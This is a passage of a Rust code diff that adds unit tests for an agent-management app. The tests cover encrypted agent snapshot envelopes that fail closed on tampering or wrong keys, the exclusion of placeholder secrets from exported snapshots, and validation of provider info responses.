String::new(), + turn_timeout_seconds: 300, + idle_timeout_seconds: None, + max_turn_duration_seconds: None, + parallelism: 1, + system_prompt: None, + model: None, + env_vars: std::collections::BTreeMap::new(), + start_on_app_launch: false, + auto_restart_on_config_change: true, + runtime_pid: None, + backend: crate::managed_agents::types::BackendKind::Local, + backend_agent_id: None, + provider_binary_path: None, + team_id: None, + persona_team_dir: None, + persona_name_in_team: None, + created_at: String::new(), + updated_at: String::new(), + last_started_at: None, + last_stopped_at: None, + last_exit_code: None, + last_error: None, + last_error_code: None, + respond_to: crate::managed_agents::types::RespondTo::OwnerOnly, + respond_to_allowlist: vec![], + display_name: None, + slug: None, + runtime: None, + name_pool: Vec::new(), + is_builtin: false, + is_active: true, + shared: false, + source_team: None, + source_team_persona_slug: None, + catalog_source: None, + definition_respond_to: None, + definition_respond_to_allowlist: Vec::new(), + definition_parallelism: None, + relay_mesh: None, + agent_command_override: None, + persona_source_version: None, + provider: None, + } + } + + fn locked_envelope() -> (LockedSnapshotEnvelope, Keys, Keys) { + let (owner, agent) = owner_agent_keys(); + let env = + encrypt_snapshot_envelope(&sample_snapshot(), &owner, &agent.public_key()).unwrap(); + (env, owner, agent) + } + + #[test] + fn owner_secret_decrypts() { + let (env, owner, _agent) = locked_envelope(); + let decoded = decrypt_envelope(&env, owner.secret_key()).unwrap(); + assert_eq!(decoded, sample_snapshot()); + } + + #[test] + fn agent_secret_decrypts() { + let (env, _owner, agent) = locked_envelope(); + let decoded = decrypt_envelope(&env, agent.secret_key()).unwrap(); + assert_eq!(decoded, sample_snapshot()); + } + + #[test] + fn unrelated_key_fails_closed_with_refusal_only() { + let (env, _owner, _agent) = locked_envelope(); + let stranger = Keys::generate(); + let err = decrypt_envelope(&env, stranger.secret_key()).unwrap_err(); + assert_eq!(err, LOCKED_CARD_REFUSAL); + } + + #[test] + fn tampered_ciphertext_fails_with_refusal_only() { + let (mut env, owner, _agent) = locked_envelope(); + // Flip a character mid-ciphertext (keep valid base64 alphabet). + let mid = env.encryption.ciphertext.len() / 2; + let mut bytes = env.encryption.ciphertext.into_bytes(); + bytes[mid] = if bytes[mid] == b'A' { b'B' } else { b'A' }; + env.encryption.ciphertext = String::from_utf8(bytes).unwrap(); + let err = decrypt_envelope(&env, owner.secret_key()).unwrap_err(); + assert_eq!(err, LOCKED_CARD_REFUSAL); + } + + #[test] + fn swapped_pubkeys_fail_closed_at_endpoint_resolution() { + let (mut env, owner, agent) = locked_envelope(); + std::mem::swap( + &mut env.encryption.owner_pubkey, + &mut env.encryption.agent_pubkey, + ); + // The NIP-44 conversation key is symmetric over the pair, so a swap + // cannot grant a stranger anything — but it desyncs the routing + // hints, and exact-endpoint resolution fails closed rather than + // guessing: the owner identity no longer matches `ownerPubkey`, and + // no local record holds the pubkey now in `agentPubkey`. + assert!(resolve_unlock_secret(&env, Some(&owner), &[]).is_none()); + let nsec = nostr::ToBech32::to_bech32(agent.secret_key()).unwrap(); + let record = record_with_keys(agent.public_key().to_hex(), nsec); + assert!(resolve_unlock_secret(&env, None, std::slice::from_ref(&record)).is_none()); + } + + #[test] + fn mislabeled_pubkey_fails_decryption_with_refusal_only() { + // Replacing `agentPubkey` with a third party's key makes the owner + // derive the wrong conversation key — the NIP-44 MAC fails and only + // the refusal surfaces. + let (mut env, owner, _agent) = locked_envelope(); + env.encryption.agent_pubkey = Keys::generate().public_key().to_hex(); + let err = decrypt_envelope(&env, owner.secret_key()).unwrap_err(); + assert_eq!(err, LOCKED_CARD_REFUSAL); + } + + #[test] + fn malformed_pubkeys_rejected_structurally() { + let (env, _owner, _agent) = locked_envelope(); + + let mut short = env.clone(); + short.encryption.owner_pubkey = "abc123".to_string(); + assert!(validate_envelope(&short).unwrap_err().contains("malformed")); + + let mut upper = env.clone(); + upper.encryption.agent_pubkey = upper.encryption.agent_pubkey.to_uppercase(); + assert!(validate_envelope(&upper).unwrap_err().contains("malformed")); + + // A 64-hex string that is not a curve point (lift-x fails for + // x = p-1... all-f) must be rejected STRUCTURALLY — before any key + // lookup or decrypt work — per the wire contract. + let mut not_a_point = env.clone(); + not_a_point.encryption.agent_pubkey = "f".repeat(64); + assert!(validate_envelope(¬_a_point) + .unwrap_err() + .contains("not a curve point")); + + let mut same = env; + same.encryption.agent_pubkey = same.encryption.owner_pubkey.clone(); + assert!(validate_envelope(&same).unwrap_err().contains("differ")); + } + + #[test] + fn unknown_format_version_scheme_rejected() { + let (env, ..) = locked_envelope(); + + let mut bad_version = env.clone(); + bad_version.version = 2; + assert!(validate_envelope(&bad_version) + .unwrap_err() + .contains("version")); + + let mut bad_scheme = env.clone(); + bad_scheme.encryption.scheme = "nip44-v3".to_string(); + assert!(validate_envelope(&bad_scheme) + .unwrap_err() + .contains("scheme")); + + // Unknown top-level format never falls through to manifest parsing. + let unknown = serde_json::json!({"format": "buzz-agent-snapshot-v9", "version": 1}); + let err = parse_chunk_payload(unknown.to_string().as_bytes()).unwrap_err(); + assert!(err.contains("Unsupported snapshot format"), "{err}"); + + let missing = serde_json::json!({"version": 1}); + let err = parse_chunk_payload(missing.to_string().as_bytes()).unwrap_err(); + assert!(err.contains("no format discriminator"), "{err}"); + } + + #[test] + fn plaintext_cap_enforced_before_encryption() { + let (owner, agent) = owner_agent_keys(); + let mut snapshot = sample_snapshot(); + // Inflate the manifest beyond the NIP-44 plaintext limit. + snapshot.definition.system_prompt = Some("x".repeat(NIP44_PLAINTEXT_MAX)); + let err = encrypt_snapshot_envelope(&snapshot, &owner, &agent.public_key()).unwrap_err(); + assert!(err.contains("too large to lock"), "{err}"); + } + + #[test] + fn ciphertext_and_envelope_caps_enforced_before_crypto() { + let (mut env, ..) = locked_envelope(); + env.encryption.ciphertext = "A".repeat(MAX_LOCKED_CIPHERTEXT_BYTES + 1); + assert!(validate_envelope(&env) + .unwrap_err() + .contains("maximum size")); + + // Oversized envelope JSON is rejected before typed deserialization. + let huge = format!( + r#"{{"format":"{LOCKED_FORMAT}","version":1,"pad":"{}","encryption":{{}}}}"#, + "p".repeat(MAX_LOCKED_ENVELOPE_JSON_BYTES) + ); + let err = parse_chunk_payload(huge.as_bytes()).unwrap_err(); + assert!(err.contains("maximum size"), "{err}"); + } + + #[test] + fn locked_png_round_trips_through_chunk_and_decrypt() { + let (owner, agent) = owner_agent_keys(); + let snapshot = sample_snapshot(); + let png = encode_locked_snapshot_png(&snapshot, &owner, &agent.public_key(), None).unwrap(); + + let payload = extract_chunk_payload_png(&png).unwrap(); + let ChunkPayload::Locked(env) = parse_chunk_payload(&payload).unwrap() else { + panic!("locked PNG must parse as a locked envelope"); + }; + // Both endpoints decrypt to the same logical manifest (compare + // manifests, never ciphertext — the NIP-44 nonce is random). + assert_eq!( + decrypt_envelope(&env, owner.secret_key()).unwrap(), + snapshot + ); + assert_eq!( + decrypt_envelope(&env, agent.secret_key()).unwrap(), + snapshot + ); + } + + #[test] + fn plain_manifest_dispatches_to_plain() { + let json = encode_snapshot_json(&sample_snapshot()).unwrap(); + let ChunkPayload::Plain(decoded) = parse_chunk_payload(&json).unwrap() else { + panic!("plain manifest must parse as Plain"); + }; + assert_eq!(*decoded, sample_snapshot()); + } + + #[test] + fn resolve_unlock_secret_owner_exact_endpoint() { + let (env, owner, _agent) = locked_envelope(); + let secret = resolve_unlock_secret(&env, Some(&owner), &[]).unwrap(); + assert_eq!(&secret, owner.secret_key()); + + // A different identity key is NOT tried. + let other = Keys::generate(); + assert!(resolve_unlock_secret(&env, Some(&other), &[]).is_none()); + assert!(resolve_unlock_secret(&env, None, &[]).is_none()); + } + + #[test] + fn resolve_unlock_secret_agent_requires_record_and_derived_match() { + let (env, _owner, agent) = locked_envelope(); + let nsec = nostr::ToBech32::to_bech32(agent.secret_key()).unwrap(); + + let record = record_with_keys(agent.public_key().to_hex(), nsec); + let secret = resolve_unlock_secret(&env, None, std::slice::from_ref(&record)).unwrap(); + assert_eq!(&secret, agent.secret_key()); + + // Record pubkey matches but the stored secret derives a DIFFERENT + // pubkey → refused (no trial decryption on mismatched material). + let mut forged = record.clone(); + forged.private_key_nsec = + nostr::ToBech32::to_bech32(Keys::generate().secret_key()).unwrap(); + assert!(resolve_unlock_secret(&env, None, std::slice::from_ref(&forged)).is_none()); + + // Record for some other agent → not an endpoint. + let mut unrelated = record; + unrelated.pubkey = Keys::generate().public_key().to_hex(); + assert!(resolve_unlock_secret(&env, None, std::slice::from_ref(&unrelated)).is_none()); + } +} diff --git a/desktop/src-tauri/src/managed_agents/agent_snapshot_tests.rs b/desktop/src-tauri/src/managed_agents/agent_snapshot_tests.rs new file mode 100644 index 0000000000..b4492418e5 --- /dev/null +++ b/desktop/src-tauri/src/managed_agents/agent_snapshot_tests.rs @@ -0,0 +1,599 @@ +//! Unit tests for `managed_agents/agent_snapshot.rs`. +//! +//! Kept in a sibling file so `agent_snapshot.rs` stays under the +//! 1000-line gate; `#[path]`-included from there. + +use super::*; +use crate::managed_agents::types::{BackendKind, ManagedAgentRecord, RespondTo}; +use std::collections::BTreeMap; + +/// Build a minimal `ManagedAgentRecord` for testing. Only the fields +/// relevant to snapshot export are filled; the rest use defaults. +fn minimal_record() -> ManagedAgentRecord { + ManagedAgentRecord { + pubkey: "deadbeef".to_string(), + name: "Test Agent".to_string(), + display_name: Some("Test Agent Display".to_string()), + persona_id: Some("SENTINEL_PERSONA_ID".to_string()), // MUST NOT appear in snapshot + team_id: Some("SENTINEL_TEAM_ID".to_string()), // MUST NOT appear in snapshot + private_key_nsec: "nsec1secret".to_string(), // MUST NOT appear in snapshot + auth_tag: Some("auth-tag-secret".to_string()), // MUST NOT appear in snapshot + relay_url: "wss://relay.example.com".to_string(), // MUST NOT appear in snapshot + avatar_url: Some("https://example.com/avatar.png".to_string()), + acp_command: "/usr/local/bin/acp".to_string(), // MUST NOT appear in snapshot + agent_command: "goose".to_string(), // MUST NOT appear in snapshot + agent_command_override: Some("goose-override".to_string()), // MUST NOT appear + agent_args: vec!["--arg".to_string()], // MUST NOT appear in snapshot + mcp_command: "mcp-server".to_string(), // MUST NOT appear in snapshot + turn_timeout_seconds: 120, // deprecated, MUST NOT appear + idle_timeout_seconds: Some(30), + max_turn_duration_seconds: Some(600), + parallelism: 2, + system_prompt: Some("You are a test agent.".to_string()), + model: Some("claude-opus-4".to_string()), + provider: Some("anthropic".to_string()), + persona_source_version: Some("v1.0".to_string()), // MUST NOT appear + env_vars: { + let mut m = BTreeMap::new(); + m.insert("API_KEY".to_string(), "secret123".to_string()); // MUST NOT appear + m + }, + start_on_app_launch: true, + auto_restart_on_config_change: true, + runtime_pid: Some(12345), // MUST NOT appear + backend: BackendKind::Provider { + // MUST NOT appear — carries a provider secret + id: "SENTINEL_BACKEND_ID".to_string(), + config: serde_json::json!({"api_key": "SENTINEL_BACKEND_SECRET"}), + }, + backend_agent_id: Some("SENTINEL_BACKEND_AGENT_ID".to_string()), // MUST NOT appear + provider_binary_path: Some("/usr/bin/SENTINEL_PROVIDER_BINARY".to_string()), // MUST NOT appear + persona_team_dir: Some(std::path::PathBuf::from("SENTINEL_TEAM_DIR")), // MUST NOT appear + persona_name_in_team: Some("SENTINEL_NAME_IN_TEAM".to_string()), // MUST NOT appear + created_at: "2024-01-01T00:00:00Z".to_string(), + updated_at: "2024-01-02T00:00:00Z".to_string(), + last_started_at: Some("2024-01-03T00:00:00Z".to_string()), // MUST NOT appear + last_stopped_at: None, + last_exit_code: Some(0), // MUST NOT appear + last_error: Some("SENTINEL_LAST_ERROR".to_string()), // MUST NOT appear + last_error_code: Some(42), // MUST NOT appear + respond_to: RespondTo::default(), + respond_to_allowlist: vec!["pubkey1hex".to_string()], + slug: Some("test-agent".to_string()), + runtime: Some("goose".to_string()), + name_pool: vec!["Alice".to_string(), "Bob".to_string()], + is_builtin: false, + is_active: true, + shared: false, + source_team: Some("team-id-123".to_string()), // MUST NOT appear + source_team_persona_slug: Some("lep".to_string()), // MUST NOT appear + definition_respond_to: Some("allowlist".to_string()), + catalog_source: None, + definition_respond_to_allowlist: vec!["abc123def".to_string()], + definition_parallelism: Some(4), + relay_mesh: None, + } +} + +// ── Round-trip tests ────────────────────────────────────────────────────── + +#[test] +fn json_round_trip_config_only() { + let record = minimal_record(); + let snapshot = build_snapshot(&record, MemoryLevel::None, vec![], None); + let bytes = encode_snapshot_json(&snapshot).unwrap(); + let parsed = decode_snapshot_json(&bytes).unwrap(); + assert_eq!(parsed, snapshot); +} + +#[test] +fn json_round_trip_with_memory() { + let record = minimal_record(); + let entries = vec![ + AgentSnapshotMemoryEntry { + slug: "core".to_string(), + body: "I am a test agent.".to_string(), + }, + AgentSnapshotMemoryEntry { + slug: "mem/research".to_string(), + body: "Some research notes.".to_string(), + }, + ]; + let snapshot = build_snapshot(&record, MemoryLevel::Everything, entries, None); + let bytes = encode_snapshot_json(&snapshot).unwrap(); + let parsed = decode_snapshot_json(&bytes).unwrap(); + assert_eq!(parsed, snapshot); +} + +#[test] +fn png_round_trip_no_memory() { + let record = minimal_record(); + let snapshot = build_snapshot(&record, MemoryLevel::None, vec![], None); + let png_bytes = encode_snapshot_png(&snapshot, None).unwrap(); + let parsed = decode_snapshot_png(&png_bytes).unwrap(); + assert_eq!(parsed.definition.name, snapshot.definition.name); + assert_eq!(parsed.profile.display_name, snapshot.profile.display_name); + assert_eq!(parsed.memory.level, MemoryLevel::None); +} + +#[test] +fn png_round_trip_with_avatar_png() { + // Build a minimal PNG avatar. + let avatar = make_png_with_text("dummy", "value").unwrap(); + let record = minimal_record(); + let snapshot = build_snapshot(&record, MemoryLevel::None, vec![], Some(&avatar)); + // Avatar should be inlined as a data URL. + assert!(snapshot + .profile + .avatar_data_url + .as_deref() + .unwrap_or("") + .starts_with("data:image/png;base64,")); + + let png_bytes = encode_snapshot_png(&snapshot, Some(&avatar)).unwrap(); + let parsed = decode_snapshot_png(&png_bytes).unwrap(); + assert_eq!(parsed.definition.name, snapshot.definition.name); +} + +/// Plain-card byte compatibility: `encode_snapshot_png` was refactored +/// through the shared `encode_chunk_payload_png` when locked cards were +/// added. Plain cards must emit byte-identical PNGs to the pre-envelope +/// encoder. This vector reimplements the legacy encoder body verbatim and +/// asserts equality on all three composition paths: placeholder (no avatar), +/// PNG-avatar (where tEXt chunk injection ordering matters), and +/// JPEG-avatar transcode. +#[test] +fn plain_encoder_bytes_identical_to_pre_envelope_encoder() { + // Verbatim pre-refactor `encode_snapshot_png` body (post memory guard). + fn legacy_encode( + snapshot: &AgentSnapshot, + avatar_bytes: Option<&[u8]>, + ) -> Result, String> { + let json_bytes = encode_snapshot_json(snapshot)?; + let chunk_text = STANDARD.encode(&json_bytes); + let png_bytes = match avatar_bytes.filter(|bytes| !bytes.is_empty()) { + Some(bytes) => { + let encoded_avatar = if bytes.starts_with(b"\x89PNG") { + inject_text_chunk(bytes, PNG_CHUNK_KEYWORD, &chunk_text).or_else(|_| { + transcode_avatar_to_png_with_text(bytes, PNG_CHUNK_KEYWORD, &chunk_text) + }) + } else { + transcode_avatar_to_png_with_text(bytes, PNG_CHUNK_KEYWORD, &chunk_text) + }; + match encoded_avatar { + Ok(png_bytes) => png_bytes, + Err(_) => make_png_with_text(PNG_CHUNK_KEYWORD, &chunk_text)?, + } + } + None => make_png_with_text(PNG_CHUNK_KEYWORD, &chunk_text)?, + }; + Ok(png_bytes) + } + + let record = minimal_record(); + + // Placeholder path (no avatar). + let snapshot = build_snapshot(&record, MemoryLevel::None, vec![], None); + assert_eq!( + encode_snapshot_png(&snapshot, None).unwrap(), + legacy_encode(&snapshot, None).unwrap(), + "placeholder-path plain PNG bytes must match the pre-envelope encoder" + ); + + // PNG-avatar path: chunk injected into the avatar image body. + let avatar = make_png_with_text("dummy", "value").unwrap(); + let snapshot = build_snapshot(&record, MemoryLevel::None, vec![], Some(&avatar)); + assert_eq!( + encode_snapshot_png(&snapshot, Some(&avatar)).unwrap(), + legacy_encode(&snapshot, Some(&avatar)).unwrap(), + "avatar-path plain PNG bytes must match the pre-envelope encoder" + ); + + // JPEG-avatar path: transcode-to-PNG composition. + let jpeg_avatar = image::DynamicImage::ImageRgb8(image::RgbImage::from_pixel( + 4, + 4, + image::Rgb([0x10, 0x20, 0x30]), + )); + let mut jpeg_bytes = Vec::new(); + jpeg_avatar + .write_to(&mut Cursor::new(&mut jpeg_bytes), image::ImageFormat::Jpeg) + .unwrap(); + let snapshot = build_snapshot(&record, MemoryLevel::None, vec![], Some(&jpeg_bytes)); + assert_eq!( + encode_snapshot_png(&snapshot, Some(&jpeg_bytes)).unwrap(), + legacy_encode(&snapshot, Some(&jpeg_bytes)).unwrap(), + "transcode-path plain PNG bytes must match the pre-envelope encoder" + ); +} + +#[test] +fn png_snapshot_transcodes_jpeg_avatar_into_image_body() { + let avatar = image::DynamicImage::ImageRgb8(image::RgbImage::from_pixel( + 3, + 2, + image::Rgb([0x12, 0x34, 0x56]), + )); + let mut jpeg_bytes = Vec::new(); + avatar + .write_to(&mut Cursor::new(&mut jpeg_bytes), image::ImageFormat::Jpeg) + .unwrap(); + + let snapshot = build_snapshot( + &minimal_record(), + MemoryLevel::None, + vec![], + Some(&jpeg_bytes), + ); + let png_bytes = encode_snapshot_png(&snapshot, Some(&jpeg_bytes)).unwrap(); + let decoder = Decoder::new(Cursor::new(png_bytes)); + let reader = decoder.read_info().unwrap(); + + assert_eq!((reader.info().width, reader.info().height), (3, 2)); +} + +// ── PNG memory parity ───────────────────────────────────────────────────── + +#[test] +fn png_round_trip_with_core_memory() { + let record = minimal_record(); + let entries = vec![AgentSnapshotMemoryEntry { + slug: "core".to_string(), + body: "remember this".to_string(), + }]; + let snapshot = build_snapshot(&record, MemoryLevel::Core, entries, None); + + let png_bytes = encode_snapshot_png(&snapshot, None).unwrap(); + let parsed = decode_snapshot_png(&png_bytes).unwrap(); + + assert_eq!(parsed.memory, snapshot.memory); +} + +#[test] +fn png_round_trip_with_everything_memory() { + let record = minimal_record(); + let entries = vec![ + AgentSnapshotMemoryEntry { + slug: "core".to_string(), + body: "remember this".to_string(), + }, + AgentSnapshotMemoryEntry { + slug: "mem/notes".to_string(), + body: "private notes".to_string(), + }, + ]; + let snapshot = build_snapshot(&record, MemoryLevel::Everything, entries, None); + + let png_bytes = encode_snapshot_png(&snapshot, None).unwrap(); + let parsed = decode_snapshot_png(&png_bytes).unwrap(); + + assert_eq!(parsed.memory, snapshot.memory); +} + +#[test] +fn png_export_with_no_memory_succeeds() { + let record = minimal_record(); + let snapshot = build_snapshot(&record, MemoryLevel::None, vec![], None); + assert!(encode_snapshot_png(&snapshot, None).is_ok()); +} + +#[test] +fn png_export_rejects_none_level_with_nonempty_entries() { + // Inconsistent state: level == None but entries is non-empty. + // The encoder must reject this to prevent a memory-leak bypass. + let record = minimal_record(); + let entries = vec![AgentSnapshotMemoryEntry { + slug: "core".to_string(), + body: "leaked memory".to_string(), + }]; + // Build with entries, then override level to None in the struct. + let mut snapshot = build_snapshot(&record, MemoryLevel::Core, entries, None); + snapshot.memory.level = MemoryLevel::None; // force inconsistency + let result = encode_snapshot_png(&snapshot, None); + assert!( + result.is_err(), + "PNG encoder must reject level=None with non-empty entries" + ); + assert!( + result + .unwrap_err() + .contains("memory.level 'none' and non-empty memory entries"), + "Error must explain the malformed memory state" + ); +} + +// ── Secret exclusion tests ──────────────────────────────────────────────── +// +// These tests assert that every field in the exclusion list is absent from +// the serialized snapshot. We serialize to JSON and assert the key is NOT +// present. + +fn snapshot_json_string(record: &ManagedAgentRecord) -> String { + let snapshot = build_snapshot(record, MemoryLevel::None, vec![], None); + let bytes = encode_snapshot_json(&snapshot).unwrap(); + String::from_utf8(bytes).unwrap() +} + +#[test] +fn secret_exclusion_private_key_nsec_absent() { + let record = minimal_record(); + let json = snapshot_json_string(&record); + assert!( + !json.contains("nsec1secret"), + "nsec must not appear in snapshot" + ); + assert!( + !json.contains("privateKeyNsec") && !json.contains("private_key_nsec"), + "privateKeyNsec field must not appear in snapshot" + ); +} + +#[test] +fn secret_exclusion_auth_tag_absent() { + let record = minimal_record(); + let json = snapshot_json_string(&record); + assert!( + !json.contains("auth-tag-secret"), + "auth_tag value must not appear in snapshot" + ); + assert!( + !json.contains("authTag") && !json.contains("auth_tag"), + "authTag field must not appear in snapshot" + ); +} + +#[test] +fn secret_exclusion_env_vars_absent() { + let record = minimal_record(); + let json = snapshot_json_string(&record); + assert!( + !json.contains("API_KEY") && !json.contains("secret123"), + "env_vars content must not appear in snapshot" + ); + assert!( + !json.contains("envVars") && !json.contains("env_vars"), + "envVars field must not appear in snapshot" + ); +} + +#[test] +fn secret_exclusion_relay_url_absent() { + let record = minimal_record(); + let json = snapshot_json_string(&record); + assert!( + !json.contains("wss://relay.example.com"), + "relay_url value must not appear in snapshot" + ); + assert!( + !json.contains("relayUrl") && !json.contains("relay_url"), + "relayUrl field must not appear in snapshot" + ); +} + +#[test] +fn snapshot_omits_removed_mcp_toolsets_config() { + let record = minimal_record(); + let json = snapshot_json_string(&record); + assert!( + !json.contains("mcpToolsets") && !json.contains("mcp_toolsets"), + "removed MCP toolsets config must not re-enter snapshots" + ); +} + +#[test] +fn secret_exclusion_machine_commands_absent() { + let record = minimal_record(); + let json = snapshot_json_string(&record); + // acp_command / agent_command / agent_command_override / agent_args / mcp_command + assert!( + !json.contains("/usr/local/bin/acp"), + "acp_command path must not appear" + ); + assert!( + !json.contains("acpCommand") && !json.contains("acp_command"), + "acpCommand field must not appear" + ); + assert!( + !json.contains("agentCommand") && !json.contains("agent_command"), + "agentCommand field must not appear" + ); + assert!( + !json.contains("mcpCommand") && !json.contains("mcp_command"), + "mcpCommand field must not appear" + ); +} + +#[test] +fn secret_exclusion_runtime_state_absent() { + let record = minimal_record(); + let json = snapshot_json_string(&record); + assert!( + !json.contains("runtimePid") && !json.contains("runtime_pid"), + "runtimePid must not appear" + ); + assert!( + !json.contains("backendAgentId") && !json.contains("backend_agent_id"), + "backendAgentId must not appear" + ); + assert!( + !json.contains("SENTINEL_BACKEND_AGENT_ID"), + "backendAgentId value must not appear" + ); + assert!( + !json.contains("providerBinaryPath") && !json.contains("provider_binary_path"), + "providerBinaryPath must not appear" + ); + assert!( + !json.contains("SENTINEL_PROVIDER_BINARY"), + "providerBinaryPath value must not appear" + ); + assert!( + !json.contains("lastStartedAt") && !json.contains("last_started_at"), + "lastStartedAt must not appear" + ); + assert!( + !json.contains("lastExitCode") && !json.contains("last_exit_code"), + "lastExitCode must not appear" + ); + // backend blob — neither the type tag nor provider secret must leak. + assert!( + !json.contains("\"backend\"") && !json.contains("backend"), + "backend field must not appear" + ); + assert!( + !json.contains("SENTINEL_BACKEND_ID") && !json.contains("SENTINEL_BACKEND_SECRET"), + "backend config values must not appear" + ); + // last_error / last_error_code + assert!( + !json.contains("lastError") && !json.contains("last_error"), + "lastError must not appear" + ); + assert!( + !json.contains("SENTINEL_LAST_ERROR"), + "lastError value must not appear" + ); + assert!( + !json.contains("lastErrorCode") && !json.contains("last_error_code"), + "lastErrorCode must not appear" + ); +} + +#[test] +fn secret_exclusion_lineage_ids_absent() { + let record = minimal_record(); + let json = snapshot_json_string(&record); + assert!( + !json.contains("team-id-123"), + "source_team value must not appear" + ); + assert!( + !json.contains("sourceTeam") && !json.contains("source_team"), + "sourceTeam field must not appear" + ); + assert!( + !json.contains("sourceTeamPersonaSlug"), + "sourceTeamPersonaSlug must not appear" + ); + assert!( + !json.contains("personaSourceVersion") && !json.contains("persona_source_version"), + "personaSourceVersion must not appear" + ); + // personaId + assert!( + !json.contains("personaId") && !json.contains("persona_id"), + "personaId field must not appear" + ); + assert!( + !json.contains("SENTINEL_PERSONA_ID"), + "personaId value must not appear" + ); + // teamId + assert!( + !json.contains("teamId") && !json.contains("team_id"), + "teamId field must not appear" + ); + assert!( + !json.contains("SENTINEL_TEAM_ID"), + "teamId value must not appear" + ); + // personaTeamDir + assert!( + !json.contains("personaTeamDir") && !json.contains("persona_team_dir"), + "personaTeamDir field must not appear" + ); + assert!( + !json.contains("SENTINEL_TEAM_DIR"), + "personaTeamDir value must not appear" + ); + // personaNameInTeam + assert!( + !json.contains("personaNameInTeam") && !json.contains("persona_name_in_team"), + "personaNameInTeam field must not appear" + ); + assert!( + !json.contains("SENTINEL_NAME_IN_TEAM"), + "personaNameInTeam value must not appear" + ); +} + +// ── Definition field presence tests ────────────────────────────────────── + +#[test] +fn definition_fields_present_in_snapshot() { + let record = minimal_record(); + let snapshot = build_snapshot(&record, MemoryLevel::None, vec![], None); + + assert_eq!(snapshot.definition.name, "Test Agent Display"); + assert!(!snapshot.definition.source_is_builtin); + assert_eq!( + snapshot.definition.system_prompt.as_deref(), + Some("You are a test agent.") + ); + assert_eq!(snapshot.definition.runtime.as_deref(), Some("goose")); + assert_eq!(snapshot.definition.model.as_deref(), Some("claude-opus-4")); + assert_eq!(snapshot.definition.provider.as_deref(), Some("anthropic")); + assert_eq!(snapshot.definition.name_pool, vec!["Alice", "Bob"]); + // definition_respond_to maps to respond_to in the snapshot definition + assert_eq!(snapshot.definition.respond_to.as_deref(), Some("allowlist")); + // definition_respond_to_allowlist should be included + assert!(!snapshot.definition.respond_to_allowlist.is_empty()); +} + +#[test] +fn profile_fields_present_in_snapshot() { + let record = minimal_record(); + let snapshot = build_snapshot(&record, MemoryLevel::None, vec![], None); + assert_eq!(snapshot.profile.display_name, "Test Agent Display"); + // No bytes → should fall back to avatar_url + assert_eq!( + snapshot.profile.avatar_url.as_deref(), + Some("https://example.com/avatar.png") + ); + assert!(snapshot.profile.avatar_data_url.is_none()); +} + +#[test] +fn avatar_inlined_when_under_size_limit() { + let record = minimal_record(); + let small_png = make_png_with_text("k", "v").unwrap(); + let snapshot = build_snapshot(&record, MemoryLevel::None, vec![], Some(&small_png)); + assert!(snapshot.profile.avatar_data_url.is_some()); + assert!(snapshot.profile.avatar_url.is_none()); +} + +#[test] +fn avatar_url_fallback_when_over_size_limit() { + let mut record = minimal_record(); + record.avatar_url = Some("https://example.com/big.png".to_string()); + // Synthesize oversized avatar bytes (> 2 MB) — just a large zeroed vec. + let big_bytes = vec![0u8; MAX_AVATAR_INLINE_BYTES + 1]; + let snapshot = build_snapshot(&record, MemoryLevel::None, vec![], Some(&big_bytes)); + assert!(snapshot.profile.avatar_data_url.is_none()); + assert_eq!( + snapshot.profile.avatar_url.as_deref(), + Some("https://example.com/big.png") + ); +} + +// ── Format/version validation ───────────────────────────────────────────── + +#[test] +fn invalid_format_discriminator_is_rejected() { + let mut snapshot = build_snapshot(&minimal_record(), MemoryLevel::None, vec![], None); + snapshot.format = "not-a-buzz-snapshot".to_string(); + let bytes = serde_json::to_vec(&snapshot).unwrap(); + let result = decode_snapshot_json(&bytes); + assert!(result.is_err()); + assert!(result.unwrap_err().contains("Unsupported snapshot format")); +} + +#[test] +fn unsupported_version_is_rejected() { + let mut snapshot = build_snapshot(&minimal_record(), MemoryLevel::None, vec![], None); + snapshot.version = 99; + let bytes = serde_json::to_vec(&snapshot).unwrap(); + let result = decode_snapshot_json(&bytes); + assert!(result.is_err()); + assert!(result.unwrap_err().contains("Unsupported snapshot version")); +} diff --git a/desktop/src-tauri/src/managed_agents/backend.rs b/desktop/src-tauri/src/managed_agents/backend.rs index 5debae41cb..84dd7e99da 100644 --- a/desktop/src-tauri/src/managed_agents/backend.rs +++ b/desktop/src-tauri/src/managed_agents/backend.rs @@ -1,3 +1,4 @@ +use sha2::{Digest, Sha256}; use std::io::{BufReader, Read, Write}; use std::path::{Path, PathBuf}; use std::sync::mpsc; @@ -7,6 +8,61 @@ const STDERR_CAP: usize = 65536; /// Provider responses should be small JSON objects. Cap stdout to prevent a /// buggy or malicious provider from OOM-ing the desktop process. const STDOUT_CAP: usize = 1_048_576; // 1 MB +const PROVIDER_PROTOCOL_VERSION: u64 = 1; + +fn validate_provider_info(info: &serde_json::Value) -> Result<(), String> { + let object = info + .as_object() + .ok_or_else(|| "provider info response must be a JSON object".to_string())?; + let actual_version = object + .get("protocol_version") + .and_then(serde_json::Value::as_u64); + if actual_version != Some(PROVIDER_PROTOCOL_VERSION) { + return Err(match actual_version { + Some(version) => format!( + "unsupported provider protocol version {version}; desktop requires {PROVIDER_PROTOCOL_VERSION}" + ), + None => "provider info response missing integer protocol_version".to_string(), + }); + } + if object.get("ok") != Some(&serde_json::Value::Bool(true)) { + return Err("provider info response must contain ok: true".to_string()); + } + for field in ["name", "version", "description"] { + if object + .get(field) + .is_none_or(|value| value.as_str().is_none_or(str::is_empty)) + { + return Err(format!( + "provider info response missing non-empty string {field}" + )); + } + } + if !object + .get("config_schema") + .is_some_and(serde_json::Value::is_object) + { + return Err("provider info response missing object config_schema".to_string()); + } + + const FIELDS: &[&str] = &[ + "ok", + "name", + "version", + "protocol_version", + "description", + "config_schema", + ]; + if let Some(field) = object + .keys() + .find(|field| !FIELDS.contains(&field.as_str())) + { + return Err(format!( + "provider info response contains unknown field {field}" + )); + } + Ok(()) +} /// Invoke a provider binary: write JSON to stdin, read JSON from stdout. /// @@ -333,23 +389,29 @@ pub(crate) fn redact_secrets_with(s: &str, extras: &[&str]) -> String { result } -/// Collect string values from `request["agent"]["env_vars"]` (if present) -/// to feed into [`redact_secrets_with`]. Returns an empty Vec if the -/// request shape doesn't match, which is fine — falls back to the default -/// prefix-based scrubbing. +/// Collect string values from every environment map a deploy request can +/// carry. Providers may echo any of these values in diagnostics, including +/// definition/baked values that exist only in the resolved launch block. fn env_secrets_from_request(request: &serde_json::Value) -> Vec { - request - .get("agent") - .and_then(|a| a.get("env_vars")) - .and_then(|e| e.as_object()) - .map(|obj| { - obj.values() - .filter_map(|v| v.as_str()) - .filter(|s| !s.is_empty()) - .map(String::from) - .collect() - }) - .unwrap_or_default() + let agent = 